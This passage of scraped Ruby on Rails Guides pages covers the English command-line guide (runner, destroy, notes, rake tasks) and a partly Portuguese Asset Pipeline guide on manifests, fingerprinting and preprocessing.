$ bin/rails runner -e staging "Model.long_running_method"

bin/rails runner -e staging "Model.long_running_method" Copiar

You can even execute ruby code written in a file with runner.

$ bin/rails runner lib/code_to_be_run.rb

bin/rails runner lib/code_to_be_run.rb Copiar

1.7 bin/rails destroy

Think of destroy as the opposite of generate. It'll figure out what generate did, and undo it.

You can also use the alias "d" to invoke the destroy command: bin/rails d.

$ bin/rails generate model Oops
invoke  active_record
create    db/migrate/20120528062523_create_oops.rb
create    app/models/oops.rb
invoke    test_unit
create      test/models/oops_test.rb
create      test/fixtures/oops.yml

bin/rails generate model Oops Copiar

$ bin/rails destroy model Oops
invoke  active_record
remove    db/migrate/20120528062523_create_oops.rb
remove    app/models/oops.rb
invoke    test_unit
remove      test/models/oops_test.rb
remove      test/fixtures/oops.yml

bin/rails destroy model Oops Copiar

1.8 bin/rails about

bin/rails about gives information about version numbers for Ruby, RubyGems, Rails, the Rails subcomponents, your application's folder, the current Rails environment name, your app's database adapter, and schema version. It is useful when you need to ask for help, check if a security patch might affect you, or when you need some stats for an existing Rails installation.

$ bin/rails about
About your application's environment
Rails version             6.0.0
Ruby version              2.5.0 (x86_64-linux)
RubyGems version          2.7.3
Rack version              2.0.4
JavaScript Runtime        Node.js (V8)
Middleware:               Rack::Sendfile, ActionDispatch::Static, ActionDispatch::Executor, ActiveSupport::Cache::Strategy::LocalCache::Middleware, Rack::Runtime, Rack::MethodOverride, ActionDispatch::RequestId, ActionDispatch::RemoteIp, Sprockets::Rails::QuietAssets, Rails::Rack::Logger, ActionDispatch::ShowExceptions, WebConsole::Middleware, ActionDispatch::DebugExceptions, ActionDispatch::Reloader, ActionDispatch::Callbacks, ActiveRecord::Migration::CheckPending, ActionDispatch::Cookies, ActionDispatch::Session::CookieStore, ActionDispatch::Flash, Rack::Head, Rack::ConditionalGet, Rack::ETag
Application root          /home/foobar/commandsapp
Environment               development
Database adapter          sqlite3
Database schema version   20180205173523

bin/rails about Copiar

1.9 bin/rails assets:

You can precompile the assets in app/assets using bin/rails assets:precompile, and remove older compiled assets using bin/rails assets:clean. The assets:clean command allows for rolling deploys that may still be linking to an old asset while the new assets are being built.

If you want to clear public/assets completely, you can use bin/rails assets:clobber.

1.10 bin/rails db:

The most common commands of the db: rails namespace are migrate and create, and it will pay off to try out all of the migration rails commands (up, down, redo, reset). bin/rails db:version is useful when troubleshooting, telling you the current version of the database.

More information about migrations can be found in the Migrations guide.

1.11 bin/rails notes

bin/rails notes searches through your code for comments beginning with a specific keyword. You can refer to bin/rails notes --help for information about usage.

By default, it will search in app, config, db, lib, and test directories for FIXME, OPTIMIZE, and TODO annotations in files with extension .builder, .rb, .rake, .yml, .yaml, .ruby, .css, .js, and .erb.

$ bin/rails notes
app/controllers/admin/users_controller.rb:
* [ 20] [TODO] any other way to do this?
* [132] [FIXME] high priority for next deploy

lib/school.rb:
* [ 13] [OPTIMIZE] refactor this code to make it faster
* [ 17] [FIXME]

bin/rails notes Copiar

1.11.1 Annotations

You can pass specific annotations by using the --annotations argument. By default, it will search for FIXME, OPTIMIZE, and TODO. Note that annotations are case sensitive.

$ bin/rails notes --annotations FIXME RELEASE
app/controllers/admin/users_controller.rb:
* [101] [RELEASE] We need to look at this before next release
* [132] [FIXME] high priority for next deploy

lib/school.rb:
* [ 17] [FIXME]

bin/rails notes --annotations FIXME RELEASE Copiar

1.11.2 Tags

You can add more default tags to search for by using config.annotations.register_tags. It receives a list of tags.

config.annotations.register_tags("DEPRECATEME", "TESTME")

config.annotations.register_tags("DEPRECATEME", "TESTME") Copiar

$ bin/rails notes
app/controllers/admin/users_controller.rb:
* [ 20] [TODO] do A/B testing on this
* [ 42] [TESTME] this needs more functional tests
* [132] [DEPRECATEME] ensure this method is deprecated in next release

bin/rails notes Copiar

1.11.3 Directories

You can add more default directories to search from by using config.annotations.register_directories. It receives a list of directory names.

config.annotations.register_directories("spec", "vendor")

config.annotations.register_directories("spec", "vendor") Copiar

$ bin/rails notes
app/controllers/admin/users_controller.rb:
* [ 20] [TODO] any other way to do this?
* [132] [FIXME] high priority for next deploy

lib/school.rb:
* [ 13] [OPTIMIZE] Refactor this code to make it faster
* [ 17] [FIXME]

spec/models/user_spec.rb:
* [122] [TODO] Verify the user that has a subscription works

vendor/tools.rb:
* [ 56] [TODO] Get rid of this dependency

bin/rails notes Copiar

1.11.4 Extensions

You can add more default file extensions to search from by using config.annotations.register_extensions. It receives a list of extensions with its corresponding regex to match it up.

config.annotations.register_extensions("scss", "sass") { |annotation| /\/\/\s*(#{annotation}):?\s*(.*)$/ }

config.annotations.register_extensions("scss", "sass") { |annotation| /\/\/\s*(#{annotation}):?\s*(.*)$/ } Copiar

$ bin/rails notes
app/controllers/admin/users_controller.rb:
* [ 20] [TODO] any other way to do this?
* [132] [FIXME] high priority for next deploy

app/assets/stylesheets/application.css.sass:
* [ 34] [TODO] Use pseudo element for this class

app/assets/stylesheets/application.css.scss:
* [  1] [TODO] Split into multiple components

lib/school.rb:
* [ 13] [OPTIMIZE] Refactor this code to make it faster
* [ 17] [FIXME]

spec/models/user_spec.rb:
* [122] [TODO] Verify the user that has a subscription works

vendor/tools.rb:
* [ 56] [TODO] Get rid of this dependency

bin/rails notes Copiar

1.12 bin/rails routes

bin/rails routes will list all of your defined routes, which is useful for tracking down routing problems in your app, or giving you a good overview of the URLs in an app you're trying to get familiar with.

1.13 bin/rails test

A good description of unit testing in Rails is given in A Guide to Testing Rails Applications

Rails comes with a test framework called minitest. Rails owes its stability to the use of tests. The commands available in the test: namespace helps in running the different tests you will hopefully write.

1.14 bin/rails tmp:

The Rails.root/tmp directory is, like the *nix /tmp directory, the holding place for temporary files like process id files and cached actions.

The tmp: namespaced commands will help you clear and create the Rails.root/tmp directory:

- bin/rails tmp:cache:clear clears tmp/cache.

- bin/rails tmp:sockets:clear clears tmp/sockets.

- bin/rails tmp:screenshots:clear clears tmp/screenshots.

- bin/rails tmp:clear clears all cache, sockets, and screenshot files.

- bin/rails tmp:create creates tmp directories for cache, sockets, and pids.

1.15 Miscellaneous

- bin/rails initializers prints out all defined initializers in the order they are invoked by Rails.

- bin/rails middleware lists Rack middleware stack enabled for your app.

- bin/rails stats is great for looking at statistics on your code, displaying things like KLOCs (thousands of lines of code) and your code to test ratio.

- bin/rails secret will give you a pseudo-random key to use for your session secret.

- bin/rails time:zones:all lists all the timezones Rails knows about.

1.16 Custom Rake Tasks

Custom rake tasks have a .rake extension and are placed in Rails.root/lib/tasks. You can create these custom rake tasks with the bin/rails generate task command.

desc "I am short, but comprehensive description for my cool task"
task task_name: [:prerequisite_task, :another_task_we_depend_on] do
# All your magic here
# Any valid Ruby code is allowed
end

desc "I am short, but comprehensive description for my cool task" task task_name: [:prerequisite_task, :another_task_we_depend_on] do # All your magic here # Any valid Ruby code is allowed end Copiar

To pass arguments to your custom rake task:

task :task_name, [:arg_1] => [:prerequisite_1, :prerequisite_2] do |task, args|
argument_1 = args.arg_1
end

task :task_name, [:arg_1] => [:prerequisite_1, :prerequisite_2] do |task, args| argument_1 = args.arg_1 end Copiar

You can group tasks by placing them in namespaces:

namespace :db do
desc "This task does nothing"
task :nothing do
# Seriously, nothing
end
end

namespace :db do desc "This task does nothing" task :nothing do # Seriously, nothing end end Copiar

Invocation of the tasks will look like:

$ bin/rails task_name
$ bin/rails "task_name[value 1]" # entire argument string should be quoted
$ bin/rails db:nothing

bin/rails task_name bin/rails "task_name[value 1]" # entire argument string should be quoted bin/rails db:nothing Copiar

If you need to interact with your application models, perform database queries, and so on, your task should depend on the environment task, which will load your application code.

2 The Rails Advanced Command Line

More advanced use of the command line is focused around finding useful (even surprising at times) options in the utilities, and fitting those to your needs and specific work flow. Listed here are some tricks up Rails' sleeve.

2.1 Rails with Databases and SCM

When creating a new Rails application, you have the option to specify what kind of database and what kind of source code management system your application is going to use. This will save you a few minutes, and certainly many keystrokes.

Let's see what a --git option and a --database=postgresql option will do for us:

$ mkdir gitapp
$ cd gitapp
$ git init
Initialized empty Git repository in .git/
$ rails new . --git --database=postgresql
exists
create  app/controllers
create  app/helpers
...
...
create  tmp/cache
create  tmp/pids
create  Rakefile
add 'Rakefile'
create  README.md
add 'README.md'
create  app/controllers/application_controller.rb
add 'app/controllers/application_controller.rb'
create  app/helpers/application_helper.rb
...
create  log/test.log
add 'log/test.log'

mkdir gitapp cd gitapp git init rails new . --git --database=postgresql Copiar

We had to create the gitapp directory and initialize an empty git repository before Rails would add files it created to our repository. Let's see what it put in our database configuration:

$ cat config/database.yml
# PostgreSQL. Versions 9.3 and up are supported.
#
# Install the pg driver:
#   gem install pg
# On macOS with Homebrew:
#   gem install pg -- --with-pg-config=/usr/local/bin/pg_config
# On macOS with MacPorts:
#   gem install pg -- --with-pg-config=/opt/local/lib/postgresql84/bin/pg_config
# On Windows:
#   gem install pg
#       Choose the win32 build.
#       Install PostgreSQL and put its /bin directory on your path.
#
# Configure Using Gemfile
# gem 'pg'
#
default: &default
adapter: postgresql
encoding: unicode
# For details on connection pooling, see Rails configuration guide
# https://guides.rubyonrails.org/configuring.html#database-pooling
pool: <%= ENV.fetch("RAILS_MAX_THREADS") { 5 } %>

development:
<<: *default
database: gitapp_development
...
...

cat config/database.yml Copiar

It also generated some lines in our database.yml configuration corresponding to our choice of PostgreSQL for database.

The only catch with using the SCM options is that you have to make your application's directory first, then initialize your SCM, then you can run the rails new command to generate the basis of your app.

O Asset Pipeline — Ruby on Rails Guides

1 O que é o Asset Pipeline?

O asset pipeline fornece um framework para concatenar e minificar ou comprimir assets JavaScript e CSS. Ele também tem a habilidade de escrever esses assets em outras linguagens e pré-processadores tais como CoffeeScript, Sass e ERB. Isso permite que os assets da sua aplicação sejam automaticamente combinados com assets de outras gems.

O asset pipeline é implementado pela gem sprockets-rails, e é habilitado por padrão. Você pode desabilitar enquanto está criando uma nova aplicação passando a opção --skip-sprockets.

$ rails new appname --skip-sprockets

rails new appname --skip-sprockets Copiar

O Rails automaticamente adiciona a gem sass-rails no seu Gemfile, o qual é usado pelo Sprockets para comprimir Sass:

gem 'sass-rails'

gem 'sass-rails' Copiar

Usando a opção --skip-sprockets previnirá que o Rails adicione essa gem ao seu Gemfile, então se mais tarde você quiser habilitar o asset pipeline você terá que adicionar essas gems ao seu Gemfile manualmente. Além disso, criando uma aplicação com a opção --skip-sprockets gerará um arquivo config/application.rb levemente diferente, com a declaração de requerimento para o sprockets que está comentado. Você terá de remover o operador de comentário nessa linha para depois habilitar o asset pipeline:

# require "sprockets/railtie"

# require "sprockets/railtie" Copiar

Para configurar os métodos de compactação do asset, coloque as opções de configuração apropriadas no production.rb - config.assets.css_compressor para o seu CSS e config.assets.js_compressor para seu JavaScript:

config.assets.css_compressor = :yui
config.assets.js_compressor = :uglifier

config.assets.css_compressor = :yui config.assets.js_compressor = :uglifier Copiar

A gem sass-rails é automaticamente usada para a compactação de CSS se estiver incluída no Gemfile e nenhuma opção config.assets.css_compressor é definida.

1.1 Principais Características

A primeira característica do pipeline é concatenar os assets, o qual pode reduzir o número de requisições que o navegador faz para renderizar uma página web. Os navegadores web são limitados no número de requisições que eles podem fazer em paralelo, portanto, menos solicitações podem significar carregamento mais rápido de sua aplicação.

O Sprockets concatena todos os arquivos JavaScript em um arquivo principal .js e todos os arquivos CSS em um arquivo principal .css. Como você aprenderá mais tarde neste guia, você pode mudar esta estratégia para agrupar arquivos da maneira que quiser. Em produção, o Rails insere uma impressão digital SHA256 dentro de cada nome de arquivo para que o arquivo seja armazenado em cache no navegador. Você pode invalidar o armazenamento cache alterando essa impressão digital, o qual acontece automaticamente sempre que você muda o conteúdo do arquivo.

A segunda característica do asset pipeline é a minificação ou compactação do asset. Para arquivos CSS, isso é feito removendo espaços em branco e comentários. Para JavaScript, mais processos complexos são aplicados. Você pode escolher entre um conjunto de opções ou especificar a sua própria.

A terceira característica do asset pipeline é que permite a codificação dos assets por meio de uma línguagem de alto nível, com pré-compilação até os atuais assets. Línguagens suportadas incluem Sass para CSS, CoffeeScript para JavaScript, e ERB para ambos por padrão.

1.2 O que é Impressão Digital e Por Que Eu Deveria Me Importar?

Impressão digital é uma técnica que faz o nome do arquivo dependente do conteúdo do arquivo. Quando o conteúdo do arquivo muda, o nome do arquivo muda também. Para o conteúdo estático ou que muda com pouca frequência, ele tem uma forma mais fácil para dizer se duas versões do arquivo são idênticas, mesmo através de diferentes servidores ou datas de desenvolvimento.

Quando o nome do arquivo é único e baseado no seu conteúdo, os headers HTTP podem ser configurados para encorajar armazenamento caches em todo lugar (seja em CDNs, em ISPs, nos equipamentos de rede, ou nos navegadores web) para manter suas próprias cópias do conteúdo. Quando o conteúdo é atualizado, a impressão digital mudará. Isso fará com que os clientes remotos requisitem uma nova cópia do conteúdo. Isso é geralmente conhecido como cache busting.

A técnica que o Sprockets usa para impressão digital é inserir um hash do conteúdo no nome, geralmente no final. Por exemplo o arquivo CSS global.css

global-908e25f4bf641868d8683022a5b62f54.css

global-908e25f4bf641868d8683022a5b62f54.css Copiar

Essa é a estratégia adotada pelo asset pipeline do Rails.

A antiga estratégia do Rails era anexar uma Query String(string de consulta) baseada em data para cada asset vinculado com um helper interno. Em resumo o código gerado parecia com isso:

/stylesheets/global.css?1309495796

/stylesheets/global.css?1309495796 Copiar

A estratégia de Query String(string de consulta) tinha várias desvantagens:

1. Nem todos os caches irão armazenar o conteúdo onde o nome do arquivo se diferencia apenas por parâmetros de busca recommendação do Steve Souders, "...Evitando uma Query String(string de consulta) para recursos de armazenamento de cache". Ele descobriu que nesse caso 5-20% das requisições não irão ser armazenadas em cache. Query String(string de consulta) em particular nem sempre funcionam com alguns CDNs por invalidação de cache.

2. O nome do arquivo pode mudar entre nós em ambientes de multi-servidores. A Query String(string de consulta) padrão no Rails 2.x é baseada na data de modificação dos arquivos. Quando os assets são implantados em um cluster, não há garantia que o timestamps será o mesmo, resultando em diferentes valores sendo usados dependendo de qual servidor lida com a requisição.

3. Muita invalidação de cache Quando assets estáticos são implementados com novas versões de código, o mtime (horário da última modificação) de todos esses arquivos muda, forçando todos os clientes remotos a encontrarem eles de novo, mesmo quando o conteúdo desses assets não mudaram.

A Impressão digital resolve esses problemas evitando Query String(string de consulta), e garantindo que o nome dos arquivos sejam coerentes com base no seu conteúdo.

A impressão digital é habilitada por padrão para ambos os ambientes desenvolvimento e produção. Você pode habilitar ou desabilitar isso na sua configuração através da opção config.assets.digest.

Mais leitura:

- Otimizar o armazenamento cache

- Acelerando nome dos arquivos: não use Query String(string de consulta)

2 Como usar o Asset Pipeline

Nas versões anteriores do Rails, todos os assets estavam localizados nos subdiretórios abaixo de public, como imagens, javascripts and stylesheets. Com o asset pipeline, a localização recomendada para esses assets é agora o diretório app/assets. Arquivos nesse diretório serão servidos pelo Sprockets middleware.

Os assets podem ainda ser colocados na hierarquia do public. Qualquer asset sob public ainda será servido como um arquivo estático pela aplicação ou servidor web quando config.public_file_server.enabled estiver configurado como true. Você deve usar o app/assets para arquivos que devem ser pré-processados antes de serem servidos.

Em produção, o Rails pré-compila esses arquivos para public/assets por padrão. As cópias dos arquivos pré-compilados serão então servidas como assets estáticos pelo servidor web. Os arquivos em app/assets nunca serão servidos diretamente em produção.

2.1 Assets Específicos de Controllers

Quando você gera um scaffold ou um controller, o Rails também gera um arquivo Cascading Style Sheet (ou SCSS se o sass-rails estiver no Gemfile) para aquele controller. Adicionalmente, quando você gera um scaffold, o Rails também gera o arquivo scaffolds.css (ou scaffolds.scss se o sass-rails estiver no Gemfile.)

Por exemplo, se você gerar um ProjectsController, o Rails também adicionará um novo arquivo em app/assets/stylesheets/projects.scss. Por padrão, os arquivos estarão prontos para serem usados pela sua aplicação imediatamente usando a diretiva require_tree. Veja Arquivos de Manifesto e Diretivas para mais detalhes sobre require_tree.

Você também pode optar por incluir stylesheets específicas do controller e arquivos JavaScript apenas nos seus respectivos diretórios, usando o seguinte:

<%= javascript_include_tag params[:controller] %> ou <%= stylesheet_link_tag params[:controller] %>

Ao fazer isso, certifique-se de que você não está usando a diretiva require_tree, pois isso resultará em seus assets serem incluídos mais de uma vez.

Ao usar pré-compilação de assets, você precisará certificar-se de que seus assets dos controllers sejam pré-compilados quando carregá-los por página. Por padrão, arquivos .coffee e .scss não serão pré-compilados por conta própria. Veja Pré-compilando Assets para mais informações sobre como a pré-compilação funciona.

Você deve ter uma runtime de ExecJS para usar CoffeeScript. Se você estiver usando macOS ou Windows, você deve ter uma runtime de JavaScript instalada no seu sistema operacional. Veja a documentação do ExecJS para conhecer todas as JavaScript runtimes.

Você também pode desabilitar a geração de arquivos de assets específicos dos controllers adicionando o seguinte à sua configuração config/application.rb:

config.generators do |g|
g.assets false
end

config.generators do |g| g.assets false end Copiar

2.2 Organização dos Assets

Os pipeline assets podem ser colocados dentro de uma aplicação nos três locais seguintes: app/assets, lib/assets ou vendor/assets.

- app/assets é destinado aos assets que são proprietários da aplicação, como imagens customizadas, arquivos JavaScript ou folhas de estilo.

- lib/assets é destinado ao código das suas próprias bibliotecas que não se encaixam no escopo da aplicação ou àquelas bibliotecas que são compartilhadas entre aplicações.

- vendor/assets é destinado aos assets que são de propriedade de entidades externas, como código para plugins de JavaScript e frameworks de CSS. Tenha em mente que códigos de terceiros com referências à outros arquivos também processados pelo asset Pipeline (imagens, folhas de estilo, etc.), terão que ser reescritos para usarem auxiliares como asset_path.

2.2.1 Caminhos de Busca

Quando um arquivo é referenciado a partir de um manifesto ou um helper, o Sprockets procura por ele em três locais padrões de assets.

Os três locais padrões são: os diretórios images, javascripts e stylesheets abaixo da pasta app/assets, mas esses subdiretórios não são especiais - qualquer caminho sob assets/* será pesquisado.

Por exemplo, esses arquivos:

app/assets/javascripts/home.js
lib/assets/javascripts/moovinator.js
vendor/assets/javascripts/slider.js
vendor/assets/somepackage/phonebox.js

app/assets/javascripts/home.js lib/assets/javascripts/moovinator.js vendor/assets/javascripts/slider.js vendor/assets/somepackage/phonebox.js Copiar

poderiam ser referenciados em um manifesto da seguinte maneira:

//= require home
//= require moovinator
//= require slider
//= require phonebox

//= require home //= require moovinator //= require slider //= require phonebox Copiar

Os assets dentro dos subdiretórios também podem ser acessados.

app/assets/javascripts/sub/something.js

app/assets/javascripts/sub/something.js Copiar

é referenciado como:

//= require sub/something

//= require sub/something Copiar

Você pode visualizar o caminho de busca inspecionando Rails.application.config.assets.paths no console do Rails.

Adicionalmente, além do caminho padrão assets/*, caminhos (completos) podem ser adicionados ao pipeline em config/initializers/assets.rb. Por exemplo:

Rails.application.config.assets.paths << Rails.root.join("lib", "videoplayer", "flash")

Rails.application.config.assets.paths << Rails.root.join("lib", "videoplayer", "flash") Copiar

Os caminhos são percorridos na ordem em que eles aparecem no caminho de busca. Por padrão, isso significa que os arquivos em app/assets tem precedência, e mascararão caminhos correspondentes em lib e vendor.

É importante notar que os arquivos que você quiser referenciar fora de um manifesto devem ser adicionados ao array de pré-compilação, caso contrário eles não estarão disponíveis no ambiente de produção.

2.2.2 Usando Índices de Arquivos

O Sprockets usa arquivos nomeados como index (com a extensão relevante) para um propósito especial.

Por exemplo, ser você tiver uma biblioteca jQuery com muitos módulos, que é armazenada em lib/assets/javascripts/library_name, o arquivo lib/assets/javascripts/library_name/index.js serve como manifesto para todos os arquivos desta biblioteca. Esse arquivo poderia incluir uma lista de ordenada de todos os arquivos necessários ou uma simples diretiva require_tree.

A biblioteca como um todo pode ser acessada no manifesto da aplicação como:

//= require library_name

//= require library_name Copiar

Isso simplifica a manutenção e mantém as coisas limpas, permitindo que o código relacionado seja agrupado antes da inclusão em outro lugar.

2.3 Codificando Links para Assets

O Sprockets não adiciona nenhum método para acessar seus assets - você ainda usa as familiares javascript_include_tag e stylesheet_link_tag:

<%= stylesheet_link_tag "application", media: "all" %>
<%= javascript_include_tag "application" %>

<%= stylesheet_link_tag "application", media: "all" %> <%= javascript_include_tag "application" %> Copiar

Se você estiver usando a gem turbolinks, que é incluída por padrão no Rails, então inclua a opção 'data-turbolinks-track' que faz com que a turbolinks verifique se um asset foi atualizado e então o carrega naquela página:

<%= stylesheet_link_tag "application", media: "all", "data-turbolinks-track" => "reload" %>
<%= javascript_include_tag "application", "data-turbolinks-track" => "reload" %>

<%= stylesheet_link_tag "application", media: "all", "data-turbolinks-track" => "reload" %> <%= javascript_include_tag "application", "data-turbolinks-track" => "reload" %> Copiar

Em views comuns você pode acessar imagens no diretório app/assets/images como essa:

<%= image_tag "rails.png" %>

<%= image_tag "rails.png" %> Copiar

Se o pipeline estiver ativo na sua aplicação (e não desativado no contexto do ambiente atual), esse arquivo é servido pelo Sprockets. Se um arquivo existir em public/assets/rails.png ele é servido pelo servidor web.

Alternativamente, uma requisição para um arquivo com um hash SHA256 como public/assets/rails-f90d8a84c707a8dc923fca1ca1895ae8ed0a09237f6992015fef1e11be77c023.png é tratado da mesma maneira. A forma como esses hashes são gerados está coberta na seção Em Produção, posteriormente nesse guia.

O Sprockets procurará através dos caminhos especificados em config.assets.paths, que inclui os caminhos padrões da aplicação e quaisquer caminhos adicionados pelas engines do Rails.

As imagens também podem ser organizadas em subdiretórios se necessário, e então podem ser acessadas pelo nome do diretório na tag:

<%= image_tag "icons/rails.png" %>

<%= image_tag "icons/rails.png" %> Copiar

Se você estiver pré-compilando seus assets (veja Em Produção abaixo), fazer um link com um asset que não exista irá levantar uma exception na página chamadora. O mesmo vale se for especificado um link para uma string em branco. Portanto, tenha cautela ao usar a image_tag e os outros helpers com dados informados pelos usuários.

2.3.1 CSS e ERB

O asset pipeline avalia automaticamente o ERB. Isso significa que se você adicionar uma extensão erb a um asset CSS (por exemplo, application.css.erb), então helpers como asset_path estarão disponíveis nas suas regras de CSS:

.class { background-image: url(<%= asset_path 'image.png' %>) }

.class { background-image: url(<%= asset_path 'image.png' %>) } Copiar

Isso escreve o caminho ao asset em particular que está sendo referenciado. Nesse exemplo, faria sentido ter uma imagem em um dos caminhos carregados de assets, como app/assets/images/image.png, que seria referenciado aqui. Se essa imagem já está disponível em public/assets como um arquivo com uma impressão digital, então aquele caminho é referenciado.

Se você quiser usar URI de dados - um método para embutir a imagem diretamente no arquivo de CSS - você pode usar o helper asset_data_uri.

#logo { background: url(<%= asset_data_uri 'logo.png' %>) }

#logo { background: url(<%= asset_data_uri 'logo.png' %>) } Copiar

Isso insere uma URI de dados corretamente formatada no CSS fonte.

Note que a tag de fechamento não pode ser do estilo -%>.

2.3.2 CSS e Sass

Ao utilizar o asset pipeline, os caminhos para os assets devem ser reescritos e o sass-rails provê os helpers -url e -path (hifenizados em Sass, separados por underscore em Ruby) para as seguintes classes de assets: imagem, fonte, vídeo, áudio, JavaScript e folha de estilo.

- image-url("rails.png") returns url(/assets/rails.png)

- image-path("rails.png") returns "/assets/rails.png"

A forma mais genérica também pode ser usada:

- asset-url("rails.png") retorna url(/assets/rails.png)

- asset-path("rails.png") retorna "/assets/rails.png"

2.3.3 JavaScript/CoffeeScript e ERB

Se você adicionar uma extensão erb a um asset JavaScript, fazendo algo como application.js.erb, você pode então usar o helper asset_path no seu código JavaScript:

$('#logo').attr({ src: "<%= asset_path('logo.png') %>" });

$('#logo').attr({ src: "<%= asset_path('logo.png') %>" }); Copiar

Isso escreve o caminho ao asset em particular que está sendo referenciado.

Similarmente, você pode usar o helper asset_path em arquivos CoffeeScript com a extensão erb (i.e., application.coffee.erb).

$('#logo').attr src: "<%= asset_path('logo.png') %>"

$('#logo').attr src: "<%= asset_path('logo.png') %>" Copiar

2.4 Arquivos de Manifesto e Diretivas

O Sprockets usa arquivos de manifesto para determinar quais assets incluir e servir. Esses arquivos de manifesto contém diretivas - instruções que dirão ao Sprockets quais arquivos solicitar para construir um arquivo CSS ou JavaScript único. Com essas diretivas, o Sprockets carrega os arquivos especificados, processa-os se necessário, concatena-os com em único arquivo e então comprime-os (baseado no valor de Rails.application.config.assets.js_compressor). Ao servir um arquivo ao invés de muitos, o tempo de carregamento das páginas pode ser amplamente reduzido porque o navegador faz menos requisições. A compressão também reduz o tamanho dos arquivos, permitindo ao navegador baixá-los mais rapidamente.

Por exemplo, com um arquivo app/assets/javascripts/application.js contendo as seguintes linhas:

// ...
//= require rails-ujs
//= require turbolinks
//= require_tree .

// ... //= require rails-ujs //= require turbolinks //= require_tree . Copiar

Nos arquivos JavaScript, as diretivas do Sprocket começam com //=. No caso acima, o arquivo está usando as diretivas require e require_tree. A diretiva require é usada para instruir o Sprockets dos arquivos que você deseja solicitar. Aqui, você está solicitando os arquivos rails-ujs.js e turbolinks.js, que estão disponíveis em algum lugar no caminho de busca do Sprockets. Você não precisa informar as extensões explicitamente. O Sprockets assume que você está solicitando um arquivo .js quando feito de dentro de um arquivo .js.

A diretiva require_tree instrui ao Sprockets para recursivamente incluir todos os arquivos JavaScript no diretório especificado no output. Esses caminhos deverão ser especificados de maneira relativa ao arquivo de manifesto. Você também pode usar a diretiva require_directory, que inclui todos os arquivos JavaScript somente do diretório especificado, sem recursão.

As diretivas são processadas de cima para baixo, mas a ordem na qual os arquivos são incluídos pelo require_tree não é garantida. Você não deve confiar em nenhuma ordem particular entre eles. Se você precisar garantir que um JavaScript em particular termine acima de outro no arquivo concatenado, solicite o pré-requisito antes no manifesto. Note que a família de diretivas require previne arquivos de serem incluídos duas vezes no output.

O Rails também cria um arquivo padrão app/assets/stylesheets/application.css que contém essas linhas:

/* ...
*= require_self
*= require_tree .
*/

/* ... *= require_self *= require_tree . */ Copiar

O Rails cria o app/assets/stylesheets/application.css independentemente se a opção --skip-sprockets é usada ao criar uma nova aplicação Rails. Isso permite que você facilmente adicione o asset pipelining mais tarde se assim o quiser.

As diretivas que funcionam nos arquivos JavaScript também funcionam nas folhas de estilo (que obviamente incluem folhas de estilo além de arquivos JavaScript). A diretiva require_tree em um manifesto CSS funciona da mesma maneira que no JavaScript, solicitando todas as folhas de estilo do diretório corrente.

Nesse exemplo, require_self é usado. Isso coloca o CSS contido dentro do arquivo (se houver algum) na localização exata da chamada require_self.

Se você quiser usar múltiplos arquivos Saas, você deve, via de regra, usar a regra Sass @import ao invés de usar as diretivas Sprockets. Quando usando as diretivas Saas, arquivos Saas existem dentro de seu próprio escopo, tornando variáveis ou mixins apenas disponíveis dentro do documento nas quais foram definidas.

Você pode fazer globbing dos arquivos usando @import "*" e @import "**/*" para adicionar a árvore completa, que é equivalente a como o require_tree funciona. Veja a documentação do sass-rails para mais informações e ressalvas importantes.

Você pode ter quantos arquivos de manifesto quiser. Por exemplo, os manifestos admin.css e admin.js podem conter os arquivos JS e CSS que são usados pela seção de admin de uma aplicação.

As mesmas afirmações sobre ordens feitas acima também se aplicam. Em particular, você pode especificar arquivos individuais e eles serão compilados na ordem especificada. Por exemplo, você pode concatenar três arquivos CSS juntos da seguinte maneira:

/* ...
*= require reset
*= require layout
*= require chrome
*/

/* ... *= require reset *= require layout *= require chrome */ Copiar

2.5 Pré-processamento

As extensões de arquivos usadas em um asset determinam qual pré-processamento é aplicado. Quando um controller ou um scaffold é gerado com o gemset padrão do Rails, um arquivo SCSS é gerado no lugar de um arquivo comum CSS. O exemplo usado anteriormente era um controller chamado "projects", que gerou um arquivo app/assets/stylesheets/projects.scss.

Em modo de desenvolvimento, se o asset pipeline estiver desabilitado, quando esses arquivos são solicitados, eles serão processados pelos processors especificados pela gem sass-rails e então enviados de volta ao navegador como CSS. Quando o asset pipelining está habilitado, esses arquivos são pré-processados e colocados no diretório public/assets, para serem servidos seja pela aplicação Rails ou pelo servidor web.

Camadas adicionais de pré-processamento podem ser solicitadas ao se adicionar outras extensões, onde cada extensão é processada da direita para a esquerda. Essas devem ser usadas para que o processamento seja aplicado. Por exemplo, uma folha de estilos chamada app/assets/stylesheets/projects.scss.erb é primeiramente processada como ERB, depois como SCSS e finalmente servida como CSS. O mesmo se aplica a um arquivo JavaScript - app/assets/javascripts/projects.coffee.erb, que é processado como ERB, depois CoffeeScript e então servido como JavaScript.

Tenha em mente que a ordem desses pré-processadores é importante. Por exemplo, se você chamou seu arquivo JavaScript de app/assets/javascripts/projects.erb.coffee, então ele seria processado pelo interpretador do CoffeeScript primeiro, que não entende ERB, o que te causaria problemas.

3 In Development

In development mode, assets are served as separate files in the order they are specified in the manifest file.

This manifest app/assets/javascripts/application.js:

//= require core
//= require projects
//= require tickets

//= require core //= require projects //= require tickets Copiar

would generate this HTML:

<script src="/assets/core.js?body=1"></script>
<script src="/assets/projects.js?body=1"></script>
<script src="/assets/tickets.js?body=1"></script>

<script src="/assets/core.js?body=1"></script> <script src="/assets/projects.js?body=1"></script> <script src="/assets/tickets.js?body=1"></script> Copiar

The body param is required by Sprockets.

3.1 Raise an Error When an Asset is Not Found

If you are using sprockets-rails >= 3.2.0 you can configure what happens when an asset lookup is performed and nothing is found. If you turn off "asset fallback" then an error will be raised when an asset cannot be found.

config.assets.unknown_asset_fallback = false

config.assets.unknown_asset_fallback = false Copiar

If "asset fallback" is enabled then when an asset cannot be found the path will be output instead and no error raised. The asset fallback behavior is disabled by default.

3.2 Turning Digests Off

You can turn off digests by updating config/environments/development.rb to include:

config.assets.digest = false

config.assets.digest = false Copiar

When this option is true, digests will be generated for asset URLs.

3.3 Turning Debugging Off

You can turn off debug mode by updating config/environments/development.rb to include:

config.assets.debug = false

config.assets.debug = false Copiar

When debug mode is off, Sprockets concatenates and runs the necessary preprocessors on all files. With debug mode turned off the manifest above would generate instead:

<script src="/assets/application.js"></script>

<script src="/assets/application.js"></script> Copiar

Assets are compiled and cached on the first request after the server is started. Sprockets sets a must-revalidate Cache-Control HTTP header to reduce request overhead on subsequent requests - on these the browser gets a 304 (Not Modified) response.

If any of the files in the manifest have changed between requests, the server responds with a new compiled file.

Debug mode can also be enabled in Rails helper methods:

<%= stylesheet_link_tag "application", debug: true %>
